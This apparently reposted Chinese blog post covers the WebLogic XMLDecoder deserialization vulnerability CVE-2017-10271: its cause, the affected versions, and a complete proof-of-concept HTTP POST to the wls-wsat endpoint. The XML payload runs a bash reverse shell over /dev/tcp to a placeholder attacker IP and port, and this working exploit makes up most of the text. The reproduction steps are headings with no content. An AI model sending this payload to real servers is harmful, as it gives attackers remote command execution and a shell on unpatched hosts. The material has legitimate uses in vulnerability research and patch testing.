weblogic漏洞(一)----CVE-2017-10271

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)

0x01 漏洞原因:

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 

0x02 影响版本:

10.3.6.0;12.1.3.0;12.2.1.1

0x3 POC:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: target-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

0x04 漏洞复现:

启动靶机环境:

访问靶机环境:

发送数据包:

接收反弹shell:

原文地址:https://www.cnblogs.com/foe0/p/12157606.html